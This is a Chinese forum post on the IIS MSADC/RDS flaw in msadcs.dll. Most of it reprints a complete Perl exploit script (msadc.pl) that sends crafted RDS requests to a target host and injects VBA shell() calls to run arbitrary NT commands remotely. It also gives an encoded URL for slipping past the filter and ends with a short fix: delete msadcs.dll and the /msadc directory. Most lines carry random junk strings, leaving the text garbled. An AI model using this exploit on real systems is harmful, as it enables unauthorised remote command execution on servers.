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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) QXk"?yT`E  
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涉及程序: v}il(w;O  
Microsoft NT server Da,&+fZI!  
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描述: :Z2tig nL  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 I5pp "*u  
jE U'.RBN%  
详细: $U'3MEEw  
如果你没有时间读详细内容的话,就删除: ZzL@[g  
c:\Program Files\Common Files\System\Msadc\msadcs.dll lIDl1Z@Z  
有关的安全问题就没有了。 |>s v8/!  
q`loOm=y  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ],?pe  
F_PTMl=Q|J  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 b:B [3|  
关于利用ODBC远程漏洞的描述,请参看: #Go(tS~o  
uZ[/%GTX{)  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm /VtlG+dLl  
91;HiILgT  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 rsSue_Q  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp "#XtDpGk  
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这里不再论述。 W8.j /K:  
]piM/v\  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 9UmBm#"  
00,9azs  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset j1Fw U  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! $F1_^A[  
AgI>  
Gy^FrF   
#将下面这段保存为txt文件,然后: "perl -x 文件名" 5\?3$<1 I  
KZ4zF  
#!perl G:hU{S7  
# fn?VNZ`J  
# MSADC/RDS 'usage' (aka exploit) script GRQ_+K  
# V@Kn24''  
# by rain.forest.puppy /.2u.G  
# ;&7,7 3!  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me :Fo4O'UC  
# beta test and find errors! z1}1*F"  
<4sj@C  
use Socket; use Getopt::Std; 1 Xa+%n9  
getopts("e:vd:h:XR", \%args); x~Pvh+O  
'oCm.~;_  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; yYBNH1  
)8bFGX7|  
if (!defined $args{h} && !defined $args{R}) { qTS @D  
print qq~ 7 {nl..`  
Usage: msadc.pl -h <host> { -d <delay> -X -v } w=5   
-h <host> = host you want to scan (ip or domain) Q-jf8A]  
-d <seconds> = delay between calls, default 1 second /bi6>GaC:E  
-X = dump Index Server path table, if available TIETj~+  
-v = verbose !+=Zjm4L  
-e = external dictionary file for step 5 v*vn<nPAQ>  
Z/n3aYM  
Or a -R will resume a command session J2'W =r_#  
O%prD}x  
~; exit;}  2aFT<T0  
~JAjr(G#o  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Pu-p7:99;'  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} @+$cZ3,  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} h)^dB,~  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); V0s,f .a  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} TbMdQbj}  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Ma>:_0I5  
g;l'VA3v  
if (!defined $args{R}){ $ret = &has_msadc; qP&byEs"  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} -.^3;-[  
u]P03B  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 0hFH^2%UY  
. "cmd /c "; wZ$ tJQO  
$in=<STDIN>; chomp $in; !O 4<I_EY{  
$command="cmd /c " . $in ; (1rJFl!  
(*MNox?w  
if (defined $args{R}) {&load; exit;} Z(KmS (  
:4%<Rp  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; AfUZO^<  
&try_btcustmr; m"<4\;GK  
i3D<`\;r  
print "\nStep 2: Trying to make our own DSN..."; ~:T3|  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; kkT3 wP  
U@#?T  
print "\nStep 3: Trying known DSNs..."; Ze#Jhn@  
&known_dsn; v#iFQVBq  
"\4]X"3<+  
print "\nStep 4: Trying known .mdbs..."; -xw 98  
&known_mdb; SOhSg]g  
qx Wgt(Os  
if (defined $args{e}){ kNRyOUy  
print "\nStep 5: Trying dictionary of DSN names..."; 1$);V,DK!  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } VPWxHVf  
tp#Z@5=  
print "Sorry Charley...maybe next time?\n"; a_Z.J3  
exit; `<S/?I8  
c_DB^M!h  
############################################################################## Z{R=h7P  
,XF6Xsg2  
sub sendraw { # ripped and modded from whisker sN[@mAoH  
sleep($delay); # it's a DoS on the server! At least on mine... ;j Y'z5PH5  
my ($pstr)=@_; 5qODS_Eq  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 802]M  
die("Socket problems\n"); P[|B WNei  
if(connect(S,pack "SnA4x8",2,80,$target)){ !gA^$(=:"  
select(S); $|=1; !Z9ikn4A  
print $pstr; my @in=<S>; V.OoZGE>]  
select(STDOUT); close(S); sO f)/19  
return @in; `A}{ I}xq  
} else { die("Can't connect...\n"); }} -%QEzu&  
^ _#gIT\  
############################################################################## \FaB!7*~  
^!s}2GcS`  
sub make_header { # make the HTTP request w|U@jr*H]  
my $msadc=<<EOT f"}14V  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 neMe<jr  
User-Agent: ACTIVEDATA *^$N $t/2  
Host: $ip 0%L$TJ.''  
Content-Length: $clen Yhv`IV-s  
Connection: Keep-Alive ]a@v)aa-  
)~o`QM+  
ADCClientVersion:01.06 C(Ba r#  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 I{P$B-  
0z2R`=)  
--!ADM!ROX!YOUR!WORLD! I7-PF?  
Content-Type: application/x-varg !*QA;*e  
Content-Length: $reqlen YUE 1 '}  
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EOT z%-"' Y]  
; $msadc=~s/\n/\r\n/g; XzRWY\x  
return $msadc;} ok=E/77`  
xVmUmftD  
############################################################################## (h(ZL9!  
 x+j/v5  
sub make_req { # make the RDS request ,Y/>*,J  
my ($switch, $p1, $p2)=@_; Ra,on&OP`*  
my $req=""; my $t1, $t2, $query, $dsn; <zWQ[^  
mwiPvwHrg  
if ($switch==1){ # this is the btcustmr.mdb query hD~/6bx  
$query="Select * from Customers where City=" . make_shell(); R=f5:8D<-  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . G}OrpPP  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} (6_/n&mF  
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elsif ($switch==2){ # this is general make table query X=RmCc$:  
$query="create table AZZ (B int, C varchar(10))"; o0v m?CL#  
$dsn="$p1";} fwGz00C/U  
="*C&wB^  
elsif ($switch==3){ # this is general exploit table query >L3p qK   
$query="select * from AZZ where C=" . make_shell(); ,wy:RVv@e  
$dsn="$p1";} R~ u7;Wv  
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elsif ($switch==4){ # attempt to hork file info from index server cF6@.)  
$query="select path from scope()"; "e?#c<p7  
$dsn="Provider=MSIDXS;";} lJpv  
 6}ewBAq%  
elsif ($switch==5){ # bad query P>cJ~F M  
$query="select"; X>YOo~yS5  
$dsn="$p1";} 8IcQpn#  
Xrs~ove1V  
$t1= make_unicode($query); j7%%/%$o[  
$t2= make_unicode($dsn); v*p)"J *  
$req = "\x02\x00\x03\x00"; W5yu`Br  
$req.= "\x08\x00" . pack ("S1", length($t1)); -x5bdC(d  
$req.= "\x00\x00" . $t1 ;  y3$\ m  
$req.= "\x08\x00" . pack ("S1", length($t2)); B3=/iOb#  
$req.= "\x00\x00" . $t2 ; )%W2XvG  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Kct +QO(  
return $req;} ziip*<a !_  
Ji:@z%osr  
############################################################################## 0L-g'^nn  
"s^@PzQpN  
sub make_shell { # this makes the shell() statement :D7!6}%  
return "'|shell(\"$command\")|'";} ` R-np_  
nmAXU!t'  
############################################################################## [aUT #  
"TCbO`mg  
sub make_unicode { # quick little function to convert to unicode eesLTy D2_  
my ($in)=@_; my $out; ago t (  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Q |r1.  
return $out;} p 8rAtz>=J  
;Q 6e&Ips/  
############################################################################## qWK7K%-$ E  
cSWVHr  
sub rdo_success { # checks for RDO return success (this is kludge) JH, +F  
my (@in) = @_; my $base=content_start(@in); !0_Y@>2  
if($in[$base]=~/multipart\/mixed/){ 0{uX2h  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} LB0=V0|  
return 0;} +#9 (T  
Unk+@$E&  
############################################################################## 1j<(?MT-  
kN1MPd4Yh  
sub make_dsn { # this makes a DSN for us '|C3t!H`  
my @drives=("c","d","e","f"); [VCC+_  
print "\nMaking DSN: "; <j'V}|3  
foreach $drive (@drives) { C6_(j48&  
print "$drive: "; hRcb}>pr  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ]b/]^1-(b  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Ykbg5Z  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); T(4d5 fY  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; y7R#PkQ~  
return 0 if $2 eq "404"; # not found/doesn't exist /HC:H,"i  
if($2 eq "200") { 5gszAvOO  
foreach $line (@results) { 1^p/#jt  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} R$awgSE  
} return 0;} ^[L(kHOGzk  
S;Bk/\2  
############################################################################## 092t6D}  
fCl}eXg6w  
sub verify_exists { J_s`G  
my ($page)=@_; rcnH^P  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 6]4~]!  
return $results[0];} glAS$<  
fif;n[<  
############################################################################## +in)(a.  
M-WSdG[AJ  
sub try_btcustmr { o Rfb4+H&  
my @drives=("c","d","e","f"); 9~ p;iiKGG  
my @dirs=("winnt","winnt35","winnt351","win","windows"); $-_" SWG.  
Za.}bR6?Y  
foreach $dir (@dirs) { x;ik   
print "$dir -> "; # fun status so you can see progress XY0kd&N8  
foreach $drive (@drives) { QVn2`hr  
print "$drive: "; # ditto U>Is mF>m  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; qV=O;  
$reqlenlen=length( "$reqlen" ); D}%VZA}].  
$clen= 206 + $reqlenlen + $reqlen; kFJ]F |^7  
/&?ei*z  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ?:q"qwt$F  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ]Y & 2&  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ,>g( %3C  
c[1{>z{G  
############################################################################## HH*,Oe   
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sub odbc_error { 6 y"r '  
my (@in)=@_; my $base; %to.'R  
my $base = content_start(@in); X:FyNUa  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 1>_$O|dE  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; q89yW)XG  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; v&sp;%I6=  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; u 'ng'j'  
return $in[$base+4].$in[$base+5].$in[$base+6];} qvsfU*wo?  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; w6 Y+Y;,'f  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ,0L< wa  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} % [,^2s  
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############################################################################## Ux,dj8=o  
*nM.`7g*[  
sub verbose { J(~xU0gd'  
my ($in)=@_; D -e^b'l  
return if !$verbose; { F0"U=  
print STDOUT "\n$in\n";} xAsy07J?  
,! ~U5~  
############################################################################## B]D51R\}VE  
'u [cT$  
sub save { )P/~{Ci:T&  
my ($p1, $p2, $p3, $p4)=@_; .bMU$O1  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; or` "{wop  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; bF@iO316H  
close OUT;} t5p#g <$  
.|ZnU]~T  
############################################################################## z Hj_q%A  
is- {U? -  
sub load { 9/\=6v C|  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; z:$TW{%M  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); TwE&5F*  
@p=<IN>; close(IN); %ye4FwkRy  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); E<_+Tc  
$target= inet_aton($ip) || die("inet_aton problems"); '$OLU[(Y  
print "Resuming to $ip ..."; 5al44[  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ]_)=xF19  
if($p[1]==1) { Z Q9's  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Y wM;G g3  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; X/wqfP  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); j[1^#kE  
if (rdo_success(@results)){print "Success!\n";} v3jx2Z  
else { print "failed\n"; verbose(odbc_error(@results));}} \RP=Gf  
elsif ($p[1]==3){ Eh;~y*k\  
if(run_query("$p[3]")){ {Q~A;t  
print "Success!\n";} else { print "failed\n"; }} 5h(] S[Zf3  
elsif ($p[1]==4){ /9yA.W;  
if(run_query($drvst . "$p[3]")){ o;:a6D`   
print "Success!\n"; } else { print "failed\n"; }} 80M4~'3  
exit;} My'6 yQL  
6{I5 23g  
############################################################################## hE/y"SP3  
h:+>=~\  
sub create_table { 8:A6Ew&\]O  
my ($in)=@_; v4< x 4  
$reqlen=length( make_req(2,$in,"") ) - 28; :U;ZBs3  
$reqlenlen=length( "$reqlen" ); }F R yG%  
$clen= 206 + $reqlenlen + $reqlen; iyhB;s5Rgw  
my @results=sendraw(make_header() . make_req(2,$in,"")); = %7:[#n  
return 1 if rdo_success(@results); tL4xHa6v]  
my $temp= odbc_error(@results); verbose($temp); R=M${u<t  
return 1 if $temp=~/Table 'AZZ' already exists/; ,G,T&W  
return 0;} !'C^qrh  
S,v9\wN.  
############################################################################## oZ~M`yOz.  
ji2if.t@  
sub known_dsn { L*VGdZ  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go .,x08M  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 'u.`!w '|L  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", .Isg1qrC  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ZD0Q<8%  
^f1}:g  
foreach $dSn (@dsns) { TO)wjF_  
print "."; Nr7MSFiL  
next if (!is_access("DSN=$dSn")); I#f<YbzD  
if(create_table("DSN=$dSn")){ FUm-Fp  
print "$dSn successful\n"; p2 y h  
if(run_query("DSN=$dSn")){ v *~ yN*  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ~GS`@IU}  
print "Something's borked. Use verbose next time\n";}}} print "\n";} `h Y:F(  
'89D62\89  
############################################################################## Y6fU;  
<  v_?}  
sub is_access { Ty]CdyL$  
my ($in)=@_; A HKS [ N  
$reqlen=length( make_req(5,$in,"") ) - 28; AC(}cMM+  
$reqlenlen=length( "$reqlen" ); |)IN20  
$clen= 206 + $reqlenlen + $reqlen; DjL(-7'p  
my @results=sendraw(make_header() . make_req(5,$in,"")); %-T]!3"n  
my $temp= odbc_error(@results); JUU0Tx:`9)  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); } ho8d+A  
return 0;} Cl>'K*$F  
CEc& G  
############################################################################## b;]'Bo0K  
u9:;ft{}N  
sub run_query { Il2DZ5- )  
my ($in)=@_; 4v3y3  
$reqlen=length( make_req(3,$in,"") ) - 28; eG|e1tK+  
$reqlenlen=length( "$reqlen" ); -}{\C]%  
$clen= 206 + $reqlenlen + $reqlen; dS0G+3J&+E  
my @results=sendraw(make_header() . make_req(3,$in,"")); wz.Il-sm  
return 1 if rdo_success(@results); ^*A/92!yF  
my $temp= odbc_error(@results); verbose($temp); p!' "hx  
return 0;} ;PaB5TT(  
o80pmy7@  
############################################################################## dLD"Cx  
"M7ry9dDH  
sub known_mdb { uWx/V+w  
my @drives=("c","d","e","f","g"); 8Qu7x[tK?  
my @dirs=("winnt","winnt35","winnt351","win","windows"); da\K>An>  
my $dir, $drive, $mdb; Y4@~NCU/  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; RduA0@g0  
g.DgJX&i  
# this is sparse, because I don't know of many ]!YzbvoR  
my @sysmdbs=( "\\catroot\\icatalog.mdb", GJ%It .  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", {aGQ[MH\9  
"\\system32\\certmdb.mdb", ]_d(YHYf  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% UT+\IzL  
x18ei@c  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", s<:"rw`  
"\\cfusion\\cfapps\\forums\\forums_.mdb", kG?tgO?*  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", b ";#qVv C  
"\\cfusion\\cfapps\\security\\realm_.mdb", K W04  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", l-t:7`=|  
"\\cfusion\\database\\cfexamples.mdb", CG=#rc]vz  
"\\cfusion\\database\\cfsnippets.mdb", bn<&Xe  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", mWmDH74  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 5? c4aAn  
"\\cfusion\\brighttiger\\database\\cleam.mdb", {:6VJ0s\  
"\\cfusion\\database\\smpolicy.mdb", 5uDQ*nJ|  
"\\cfusion\\database\cypress.mdb",  `Yoafa  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ;-*4 (3lu  
"\\website\\cgi-win\\dbsample.mdb", V_+3@C  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", %*|XN*iXC  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Ao{wd1  
); #these are just /DbwqBx  
foreach $drive (@drives) { Yo7ctwzdH;  
foreach $dir (@dirs){ #\`6ZHW  
foreach $mdb (@sysmdbs) { H D=WHT&  
print "."; NNe'5q9  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ guwnYS  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; `Jz"rh-M  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ t;E-9`N  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; }vc C4 =t/  
} else { print "Something's borked. Use verbose next time\n"; }}}}} v\f 41M7D  
wRUpQ~=B2  
foreach $drive (@drives) { (MbI8B>  
foreach $mdb (@mdbs) { mDj:w#q  
print "."; 6)DYQ^4y  
if(create_table($drv . $drive . $dir . $mdb)){ z!t &zkAK  
print "\n" . $drive . $dir . $mdb . " successful\n"; :IS]|3wD  
if(run_query($drv . $drive . $dir . $mdb)){ )zen"](cze  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; %.<w8ag  
} else { print "Something's borked. Use verbose next time\n"; }}}} Dth<hS,2J  
} v)J6}H}e  
(~/D*<A  
############################################################################## }^P(p?~  
J&Le*R'  
sub hork_idx { ;>|:I(l;  
print "\nAttempting to dump Index Server tables...\n"; '{U56^b]  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Px'%5TKN  
$reqlen=length( make_req(4,"","") ) - 28; `^(6{p ?  
$reqlenlen=length( "$reqlen" ); sDWX} NV  
$clen= 206 + $reqlenlen + $reqlen; _<kE32Bb  
my @results=sendraw2(make_header() . make_req(4,"","")); \asF~P  
if (rdo_success(@results)){ $eRxCX?b2  
my $max=@results; my $c; my %d; ':F{st>&H  
for($c=19; $c<$max; $c++){ $ShL^g@  
$results[$c]=~s/\x00//g; 0XL x@FYn  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; jcFh2  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; o&gcFOM22  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; OFCkQEG=y>  
$d{"$1$2"}="";} 42t D$S5^  
foreach $c (keys %d){ print "$c\n"; } D OPOzh  
} else {print "Index server doesn't seem to be installed.\n"; }} tSE6m-  
7f[nNng  
############################################################################## %+FM$xyJ  
6+m)   
sub dsn_dict { p!U#53  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); VLu_SXlo*  
while(<IN>){ ^/mQo`[G  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 9?bfZF4A=  
next if (!is_access("DSN=$dSn")); W"VN2  
if(create_table("DSN=$dSn")){ aztP`S$h  
print "$dSn successful\n"; m'oVqA&  
if(run_query("DSN=$dSn")){ 1H-R-NNJ:  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { H>;km$b +  
print "Something's borked. Use verbose next time\n";}}} ,N <;!6e  
print "\n"; close(IN);} )Qb1$%r.  
oQWS$\Rr.  
############################################################################## 9BNAj-Xa  
!0*=z~  
sub sendraw2 { # ripped and modded from whisker U|-4*l9Ed  
sleep($delay); # it's a DoS on the server! At least on mine... =?vk n  
my ($pstr)=@_; ./J.OU1  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || tG{e(  
die("Socket problems\n"); uSM4:!8  
if(connect(S,pack "SnA4x8",2,80,$target)){ p0`Wci  
print "Connected. Getting data"; ~ E>D0o  
open(OUT,">raw.out"); my @in; .'5yFBS  
select(S); $|=1; print $pstr; wL5IAkq  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} c<DsCzX  
close(OUT); select(STDOUT); close(S); return @in; eV1O#FLbi  
} else { die("Can't connect...\n"); }} ` n@[=l~  
ZRD* ^9)  
############################################################################## 91mXvQ:u  
Nz*qz"T  
sub content_start { # this will take in the server headers ) 8st  
my (@in)=@_; my $c; Ml+.\'r  
for ($c=1;$c<500;$c++) { ~9h6"0K!  
if($in[$c] =~/^\x0d\x0a/){ 1fViW^l_  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } [)Xu60? Q  
else { return $c+1; }}} <)?H98S  
return -1;} # it should never get here actually ~k|~Q\   
hSp[BsF`,  
############################################################################## s3/->1#i  
 ItC*[  
sub funky { 2Z7smDJ  
my (@in)=@_; my $error=odbc_error(@in); 6jPaS!E  
if($error=~/ADO could not find the specified provider/){ {~b]6}O  
print "\nServer returned an ADO miscofiguration message\nAborting.\n";  ZMg%/C  
exit;} >F Z6\  
if($error=~/A Handler is required/){ jEit^5^5|  
print "\nServer has custom handler filters (they most likely are patched)\n"; 1PjSa4  
exit;} Y]&H U) u  
if($error=~/specified Handler has denied Access/){ e>uV8!u  
print "\nServer has custom handler filters (they most likely are patched)\n"; s:jr/ j!  
exit;}} qI:}3b;T  
W-7yi`5  
############################################################################## @DU]XKv  
q<,?:g$k  
sub has_msadc { `@")R-  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); HEht^ /pJ  
my $base=content_start(@results); (aiE!c  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); xfos>|0N  
return 0;} p9oru0q  
1 (P >TH  
######################## M\e%GJ0  
]*sXISg1  
bveNd0hN  
解决方案: < ynm A  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll _S2QY7/  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 oxHS7b  
m)=  -sD  
拿出来充数 哈哈
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